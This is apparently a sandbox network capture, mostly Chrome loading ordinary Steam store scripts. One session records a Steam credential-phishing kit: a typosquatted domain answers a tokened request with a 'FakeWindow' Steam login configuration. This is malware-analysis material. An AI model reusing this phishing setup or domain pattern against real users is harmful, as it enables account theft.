2024-10-06 11:20:55 UTC	16036	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-06 11:20:55 UTC	51	IN	Data Raw: 72 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: ry.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49750	172.67.175.206	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	1149	OUT	GET /7d1d7c577e075157564c615c430472585c57505e HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:55 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"120-2QrW5DyUwyoLOUvOE2FoeFgxkX4" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yAOGKNDmFTFlwnPeMttRA1206qPFhlDdP1V4T9xG61K5pHBVVkVl1GbmKn7WWZeMM5x52EjM%2BGSdjneEXE0ISuLKXb27orncCOvfS6RGGKkzUkDBMognHP2KJm6p%2B8S2%2BajIRFrMow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543d38af643a3-EWR
2024-10-06 11:20:55 UTC	295	IN	Data Raw: 31 32 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 31 33 36 35 35 37 35 32 2e 32 35 32 32 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a Data Ascii: 120{"success":true,"service":"Steam","iframe":true,"timestamp":1728213655752.2522,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":
2024-10-06 11:20:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:55 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c62b5fc1-401e-0067-3a60-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112055Z-1657d5bbd48lknvp09v995n79000000001fg00000000ca12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:55 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49751	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	552	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "sjouo3-33Gox" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=4286085 Expires: Mon, 25 Nov 2024 01:55:40 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Length: 9318 Connection: close
2024-10-06 11:20:56 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49752	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	402	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15398344 Expires: Wed, 02 Apr 2025 16:40:00 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:56 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b Data Ascii: 0000C000function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };
2024-10-06 11:20:56 UTC	15834	IN	Data Raw: 68 6c 69 73 74 43 6f 75 6e 74 28 20 64 61 74 61 2e 77 69 73 68 6c 69 73 74 43 6f 75 6e 74 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 Data Ascii: hlistCount( data.wishlistCount );if ( typeof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, div
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 65 72 50 72 65 66 65 72 65 6e 63 65 73 2c 20 73 74 72 50 61 63 6b 61 67 65 58 4d 4c 56 65 72 73 69 6f 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 73 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 65 72 6d 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 54 65 72 6d 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 20 3d 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 20 3f 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 29 20 3a 20 24 4a 28 27 23 73 65 61 72 63 68 74 65 72 6d 5f 6f 70 74 69 6f 6e 73 27 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 3d 20 65 6c 65 6d Data Ascii: erPreferences, strPackageXMLVersion, elemSuggestionCtn, elemSuggestions ){var $Term = $JFromIDOrElement(elemTerm);var $SuggestionsCtn = elemSuggestionCtn ? $JFromIDOrElement(elemSuggestionCtn) : $J('#searchterm_options');var $Suggestions = elem
2024-10-06 11:20:56 UTC	946	IN	Data Raw: 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 22 20 2b 20 73 41 64 64 54 6f 43 61 72 74 49 44 20 29 3b 0d 0a 09 6c 65 74 20 65 6c 55 70 64 61 74 65 42 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 62 74 6e 5f 71 75 61 6e 74 69 74 79 5f 75 70 64 61 74 65 5f 22 20 2b 20 73 49 64 53 75 66 66 69 78 20 29 3b 0d 0a 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 6c 65 74 20 73 51 74 79 20 3d 20 65 6c 46 69 65 6c 64 2e 76 61 6c 28 29 3b 0d 0a 09 09 6c 65 74 20 73 51 74 79 4d 61 78 20 3d 20 65 6c 46 69 65 6c 64 2e 61 74 74 72 28 20 27 6d 61 78 27 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 4d 61 78 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 4d 61 78 20 Data Ascii: tton = jQuery( "#" + sAddToCartID );let elUpdateButton = jQuery( "#btn_quantity_update_" + sIdSuffix );try{let sQty = elField.val();let sQtyMax = elField.attr( 'max' );let nQty = parseInt( sQty );let nQtyMax = parseInt( sQtyMax
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: 00004000nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 68 28 20 66 75 6e 63 74 69 6f 0d 0a Data Ascii: h( functio
2024-10-06 11:20:56 UTC	7914	IN	Data Raw: 30 30 30 30 31 45 44 45 0d 0a 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f Data Ascii: 00001EDEn() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( $Scro
2024-10-06 11:20:56 UTC	12148	IN	Data Raw: 30 30 30 30 32 46 36 38 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 6d 61 79 20 62 65 20 28 74 6f 74 61 6c 6c 79 20 69 73 29 20 64 69 66 66 65 72 65 6e 74 20 69 6e 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 6f 64 65 0d 0a 43 47 65 6e 65 72 69 63 43 61 72 6f 75 73 65 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 70 6f 6e 73 69 76 65 41 64 76 61 6e 63 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6e 4e 65 77 49 6e 64 65 78 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 65 6c 54 61 72 67 65 74 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 70 61 72 65 6e 74 28 29 3b 0d 0a 09 76 61 72 20 6e 4d 61 78 53 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 2a 20 74 68 69 73 2e 6e 49 74 65 6d 73 20 2d 20 24 65 6c Data Ascii: 00002F68 function may be (totally is) different in responsive modeCGenericCarousel.prototype.ResponsiveAdvance = function( nNewIndex ){var $elTarget = this.$elItems.parent();var nMaxScroll = this.$elItems.outerWidth( true ) * this.nItems - $el
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49753	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	534	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	347	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14547559 Expires: Sun, 23 Mar 2025 20:20:15 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Length: 2917 Connection: close
2024-10-06 11:20:56 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49754	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	418	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14200029 Expires: Wed, 19 Mar 2025 19:48:05 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:56 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
